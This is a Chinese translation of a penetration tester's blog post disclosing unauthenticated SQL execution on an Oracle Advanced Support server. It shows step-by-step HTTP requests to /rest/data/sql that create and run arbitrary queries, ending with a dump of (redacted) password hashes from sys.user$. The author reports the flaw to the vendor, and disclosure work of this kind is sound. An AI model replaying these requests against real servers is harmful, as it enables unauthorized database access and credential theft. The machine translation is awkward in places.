一年多以前,我正在对客户的外部环境进行渗透测试。任何外部渗透测试中的关键步骤之一就是绘制可访问的Web服务器。nmap与EyeWitness的组合使得这一步相当快,因为我们可以对Web服务器执行端口扫描,然后将这些结果提供给EyeWitness以获取截图。在梳理了EyeWitness生成的屏幕截图页面后,我遇到了Oracle Advanced Support服务器的屏幕截图。
现在,我从来没有听说过Oracle Advanced Support,但是经过一些快速的谷歌搜索,它似乎是一个服务器,允许Oracle支持在外部登录,并在环境中执行任何对Oracle系统的支持。
考虑到这一点,让我们把我们的网络应用程序放在一起,一起走过去。
我们从应用程序开始一些简单的侦察。这包括:
幸运的是,对于我们来说,看主页的源头包括一个包含目录列表的资产目录的链接。
目录列表对于这样的未知应用来说是非常好的。这给我们一些希望,我们可能能够找到一些有趣的事情,我们也不应该有访问。果然,搜索我们绊倒在下面的JavaScript文件的每个目录:
让我们来一点点阅读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
define(["jquery", "chart-util"], function(t, e) { var s = function() { var e = this; e.getSqlData = function(e, s) { var r = "rest/data/sql/" + e, a = t.getJSON(r); return s && a.success(s), a }, e.createNamedSql = function(e, s) { var r = t.post("rest/data/sql/", e); return s && r.success(s), r }, e.getNamedSqlList = function(e) { var s = t.getJSON("rest/data/sql_list"); return e && s.success(e), s }, e.getSqlNameList = function(e) { var s = t.getJSON("rest/data/sql_name_list"); return e && s.success(e), s } }; return new s }); |
在Web应用程序渗透测试期间,我最喜欢和经常被忽视的事情之一是查看应用程序中包含的JavaScript文件,并查看是否有任何POST或GET请求,该应用程序可能或许多不使用。
所以这里我们有一个名为sql-service.js的JavaScript文件。这立即开始在我脑海里报警。从文件中我们有四个匿名函数通过t.getJSON和t.post方法执行三个GET请求和一个POST请求。函数分配给以下变量:
对于博客的其余部分,我将把匿名函数称为分配给它们的变量。
每个功能的每个端点都位于/ rest / data /
要根据请求来解决这个问题,我们有以下几点:
有了这个信息,让我们启动我最喜欢的代理工具,Burp,看看会发生什么!
让我们从getSqlData函数尝试第一个GET请求到/ rest / data / sql。我们还可以从JavaScript看到需要附加一个参数。我们来添加'test'到最后。
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. |
来自服务器的响应给我们一个404,我们附加到URL结尾的'测试'。服务器还给我们一个消息:命名SQL未找到。如果我们尝试'test'以外的其他字符串,我们会得到相同的消息。我们可以快速启动Burp Intruder,并尝试根据此请求尝试使用字典列表枚举潜在的参数名称,以查看我们是否可以获得任何非404响应,但是有一个更容易的方法可以发现我们应该用作参数名称。如果再次查看JavaScript,您会注意到这些函数的名称为我们提供了有价值的信息。我们看到以下函数的两个GET请求:getNamedSqlList和getSqlNameList。我们上面的请求的错误消息给我们一个命名SQL未找到的错误。让'
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql_list HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 7 8 |
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Connection: close Content-Length: 243633 [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n RESULT_VALUE\nfrom MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n RESULT_VALUE\nFROM MIG_RPT_DATA_COMPRESSION_PCT\nWHERE scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = ... |
那当然给我们提供了相当多的信息。我们来尝试解剖一下。我们有一个包含一组JSON对象的数组的JSON响应。我们来看看该数组中的第一个对象。
1 |
{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} |
这里我们有以下属性:name,sql,dataSourceJNDI,privileges和paramList。sql属性是最有趣的,因为它包含一个SQL查询作为字符串值。
我们来看看这个值,并把它放入我们以前尝试过的GET请求中。
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql/sample HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 400 Bad Request Content-Type: application/json Content-Length: 44 Connection: close Bad Request.Param value not defined for time |
嘿! 我们回来了!但是我们缺少一个参数。我们再补充一点。
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql/sample?time=1 HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 2 Connection: close [] |
嗯,我们没有从服务器回来,但是我们没有收到错误!也许正在执行示例的SQL查询,但没有回复?我们可以继续尝试从我们之前执行的请求中的其他名称,但是让我们看看最后一次我们原来的JavaScript。
我们可以看到有一个名为createNamedSQL的函数执行POST请求。我们从对getNamedSqlList请求的响应中知道,该请求命名为sql对象,其中包含具有SQL查询的sql属性作为值。也许这个POST请求将允许我们在服务器上执行SQL查询?我们来看看吧。
以下是正文中带有空JSON对象的createNamedSQL POST请求:
HTTP请求:
1 2 3 4 5 6 7 8 9 10 |
POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0 {} |
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 500 Internal Server Error Content-Type: text/html Content-Length: 71 Connection: close A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] |
我们收到有关SQL_NAME列的错误。这不是很奇怪,因为正文包含一个空的JSON对象。我们只需添加一个随机的属性名称和值。
HTTP请求:
1 2 3 4 5 6 7 8 9 |
POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 16 Content-Type: application/json;charset=UTF-8 {"test":1} |
HTTP响应:
1 2 3 4 5 6 7 |
HTTP/1.1 400 Bad Request Content-Type: text/plain Content-Length: 365 Connection: close Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"]) at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) |
我们得到一个不好的请求响应关于字段“测试”是无法识别,再次,也不奇怪。但是如果你注意到,错误信息给我们可以使用的属性。感谢Oracle服务器!这些属性也恰好与我们从getNamedSqlList请求获得的属性相同。我们来试试吧。对于dataSourceJNDI属性,我使用getNamedSqlList请求中的响应中的一个值。
HTTP请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 101 Content-Type: application/json;charset=UTF-8 { "name": "test", "sql":"select @@version", "dataSourceJNDI":"jdbc/portal" } |
这看起来是一个非常好的测试请求。让我们看看它是否有效
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 500 Internal Server Error Content-Type: text/plain Content-Length: 200 Connection: close A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] |
那么我们还是从服务器得到一个错误。但是,这只是针对响应的内容类型。命名的sql可能仍然被创建。将name字段设置为test,让我们尝试第一个GET请求作为参数。
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 24 Connection: close [{"@@version":"5.5.37"}] |
好好看这里!我们得到了一些SQL执行。
我们来看看我们是谁。
HTTP请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept: */* Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 101 Content-Type: application/json;charset=UTF-8 { "name": "test2", "sql":"SELECT USER from dual;", "dataSourceJNDI":"jdbc/portal" } |
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql/test2 HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 |
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 19 Connection: close [{"USER":"SYSMAN"}] |
看起来我们是SYSMAN用户。哪个Oracle文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm)用于管理。
我们来看看我们是否可以抓住一些用户哈希
HTTP请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept: */* Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 120 Content-Type: application/json;charset=UTF-8 { "name": "test3", "sql":"SELECT name, password FROM sys.user$", "dataSourceJNDI":"jdbc/portal" } |
HTTP请求:
1 2 3 4 5 6 7 8 |
GET /rest/data/sql/test3 HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 |
HTTP响应:
1 2 3 4 5 6 7 |
HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Content-Length: 5357 Connection: close [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} ... |
我们可以获取数据库中用户的密码哈希值。我修改并删除了他们中的大多数。有了这些信息,因为我们是一个具有管理权限的用户,所以有很多升级路径。但是,为了这个博客的目的,我会在这里停下来。
我联系了Oracle关于这里的匿名SQL执行,他们很快就回答并解决了这个问题。对我来说真正的问题是为什么首先会执行SQL查询的Web服务?
这个博客最大的收获总是在一个应用程序中查看JavaScript文件。我已发现隐藏在JavaScript文件中的功能已经导致SQL注入,命令注入和XML外部实体注入在几个Web应用程序和外部网络渗透测试。
作为任何一个熟练的戊酸盐的锻炼,请浏览本博客,并计算您可以识别多少漏洞。提示:有三个以上。
原文地址:https://blog.netspi.com/anonymous-sql-execution-oracle-advanced-support/ 翻译来自安全周
本文由 安全周 作者:追梦 发表,转载请注明来源!
您必须[登录] 才能发表留言!